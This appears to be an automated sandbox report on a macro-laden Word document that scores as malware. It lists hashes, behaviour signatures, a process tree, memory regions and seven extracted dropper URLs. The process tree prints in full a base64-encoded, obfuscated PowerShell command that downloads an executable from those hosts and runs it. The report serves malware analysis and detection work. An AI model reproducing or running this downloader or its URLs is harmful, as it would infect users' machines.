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Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25/05/2024, 11:31

General

  • Target

    71cf8bbb7d0eada74b4aa426b3693689_JaffaCakes118.doc

  • Size

    163KB

  • MD5

    71cf8bbb7d0eada74b4aa426b3693689

  • SHA1

    13ea6ca92ee7f14a2ea8c4a349743df603fe2ab7

  • SHA256

    35422a417432ffa66edca6cb55b6e7d98bca2c621014133e55beac2e9a02bf11

  • SHA512

    74712419421e04995768972ce4b3b3ec78b5b379b0c012b7a0719ab07cd698c8863885619a0cda63b709cfc05c6f90df508d275c0b15c14cfd8b3fc18433d44d

  • SSDEEP

    1536:glfrdi1Ir77zOH98Wj2gpngx+a99vM/+h+F3K:YrfrzOH98ipghvMy+F3K

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://dheeranet.com/Pej/

exe.dropper

http://playschoolmatritva.com/cgi-bin/Uh/

exe.dropper

http://dikshadayal.com/cgi-bin/Zl78esq/

exe.dropper

http://new.mylicense.ca/5aiibj/vS2/

exe.dropper

http://nucleokardecistalace.org.br/wp-includes/HviA/

exe.dropper

http://britanniacricketleague.com/wp-admin/3qc8lQB/

exe.dropper

https://www.hhbiao.com/ro/4Kh/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\71cf8bbb7d0eada74b4aa426b3693689_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABNAHUAcQB4AGoAcwBiAD0AKAAoACcAQwAnACsAJwBiADEAJwApACsAKAAnAG0ANwAnACsAJwBfADAAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAEwAZQBcAEQARgBiAHEAbQBLADUAXABBAF8AagB6ADQATwA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAGAAUgBgAEkAdABZAHAAcgBgAE8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACcAKwAoACcALAAgAHQAbAAnACsAJwBzADEAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEsAagA5ADcAbwBiAGsAIAA9ACAAKAAoACcASwAnACsAJwB2AGMAJwApACsAKAAnADIAZwBkACcAKwAnAG4AJwApACkAOwAkAEMANQBfADUAagBpADUAPQAoACcATAAnACsAJwBfAHAAJwArACgAJwA1ACcAKwAnAHYAeQBnACcAKQApADsAJABMADgAMQBfADUAcwA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHQAOQAnACsAKAAnADEAJwArACcARABmAGIAcQAnACkAKwAnAG0AawAnACsAKAAnADUAJwArACcAdAA5ADEAQQAnACsAJwBfACcAKQArACgAJwBqAHoAJwArACcANABvACcAKwAnADUAdAA5ACcAKQArACcAMQAnACkALQBDAHIAZQBwAGwAYQBjAEUAKAAnAHQAJwArACcAOQAxACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABLAGoAOQA3AG8AYgBrACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHkAbgBsAHYAcgBiAD0AKAAoACcAQQA4AGoAaAAnACsAJwBtAGMAJwApACsAJwAzACcAKQA7ACQARQBhAGoANwB0ADAAcgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQAWABhAHkAZAB3ADQANgA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGQAJwArACcAaABlAGUAcgBhAG4AZQAnACkAKwAoACcAdAAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAFAAJwApACsAKAAnAGUAagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHAAbABhACcAKwAnAHkAcwBjACcAKQArACgAJwBoAG8AJwArACcAbwBsAG0AYQB0AHIAJwArACcAaQAnACkAKwAoACcAdAB2AGEAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKQArACcAVQAnACsAKAAnAGgAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBkACcAKwAnAGkAawAnACkAKwAoACcAcwBoAGEAJwArACcAZABhACcAKQArACgAJwB5AGEAJwArACcAbAAuAGMAJwApACsAKAAnAG8AJwArACcAbQAnACsAJwAvAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AWgAnACkAKwAoACcAbAA3ADgAJwArACcAZQBzACcAKQArACgAJwBxAC8AKgBoAHQAJwArACcAdABwADoALwAnACsAJwAvAG4AJwApACsAKAAnAGUAJwArACcAdwAuAG0AJwArACcAeQBsAGkAJwApACsAKAAnAGMAJwArACcAZQBuACcAKQArACgAJwBzACcAKwAnAGUALgBjAGEAJwApACsAKAAnAC8ANQAnACsAJwBhACcAKQArACgAJwBpACcAKwAnAGkAYgAnACkAKwAoACcAagAvAHYAUwAnACsAJwAyAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBuACcAKQArACcAdQBjACcAKwAoACcAbAAnACsAJwBlAG8AJwApACsAJwBrAGEAJwArACgAJwByAGQAZQBjAGkAJwArACcAcwB0ACcAKwAnAGEAbABhACcAKwAnAGMAJwApACsAKAAnAGUAJwArACcALgBvACcAKQArACgAJwByAGcALgAnACsAJwBiAHIAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8ASAAnACsAJwB2ACcAKwAoACcAaQBBACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAJwArACcAcgBpACcAKQArACgAJwB0ACcAKwAnAGEAbgAnACkAKwAoACcAbgBpACcAKwAnAGEAYwAnACkAKwAoACcAcgAnACsAJwBpAGMAawBlAHQAJwApACsAJwBsACcAKwAoACcAZQBhAGcAdQBlAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnADMAcQAnACsAKAAnAGMAJwArACcAOABsACcAKQArACgAJwBRAEIAJwArACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AdwB3AHcAJwApACsAKAAnAC4AaABoAGIAaQBhACcAKwAnAG8ALgBjAG8AJwArACcAbQAvACcAKQArACcAcgAnACsAKAAnAG8ALwA0ACcAKwAnAEsAaAAnACkAKwAnAC8AJwApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUAbAB1AHAAcwBoAGUAPQAoACcARwAxACcAKwAoACcAOAAnACsAJwA3AHUAZgAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASgAxAF8AaAA3AGkAdQAgAGkAbgAgACQAWABhAHkAZAB3ADQANgApAHsAdAByAHkAewAkAEUAYQBqADcAdAAwAHIALgAiAGQAbwBXAG4ATABgAE8AYABBAEQAZgBgAEkAbABlACIAKAAkAEoAMQBfAGgANwBpAHUALAAgACQATAA4ADEAXwA1AHMAOAApADsAJABMAHAAeAB0ADEAYwB1AD0AKAAnAFUAOQAnACsAKAAnADUAbQAwACcAKwAnAHcAJwApACsAJwB4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMADgAMQBfADUAcwA4ACkALgAiAGwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAyADcANAA0ADQAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQATAA4ADEAXwA1AHMAOAApADsAJABBAHgAawBkADIAZgA3AD0AKAAoACcATQBjACcAKwAnADcAJwApACsAKAAnAHUAZwAnACsAJwByACcAKQArACcANwAnACkAOwBiAHIAZQBhAGsAOwAkAE4AMwA5AHAAaQB5AGUAPQAoACcAWQAnACsAJwB5ACcAKwAoACcAdgBvACcAKwAnADQAOAB4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOAHgAdQBzAHIAeQB6AD0AKAAnAFQAXwAnACsAKAAnAGkAJwArACcAXwB5AGIAJwApACsAJwB3ACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2588

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      4a9996761115ecb70226354fc3182379

      SHA1

      72ffe5af88d6702700e6ec6bea2ceab0206cd6a8

      SHA256

      7aec8173f011f62a7984fed9507535d51dda9f978c0753d11f3265a640029bd8

      SHA512

      21eda5551d0d5aa15bdb70a935d49e99c6879c5beb112f4ff7cdae7f032895d34fee7621c717cd858079d561ea0a5f3dab6341e3c9272b9e217ebf9734d7c7af

    • memory/1704-33-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-50-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-6-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-7-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-21-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-8-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-22-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-28-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-32-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-0-0x000000002FCC1000-0x000000002FCC2000-memory.dmp

      Filesize

      4KB

    • memory/1704-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1704-68-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1704-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1704-46-0x00000000006D0000-0x00000000007D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-47-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-49-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-45-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1704-51-0x00000000059F0000-0x0000000005AF0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2588-39-0x000000001B410000-0x000000001B6F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2588-40-0x00000000020A0000-0x00000000020A8000-memory.dmp

      Filesize

      32KB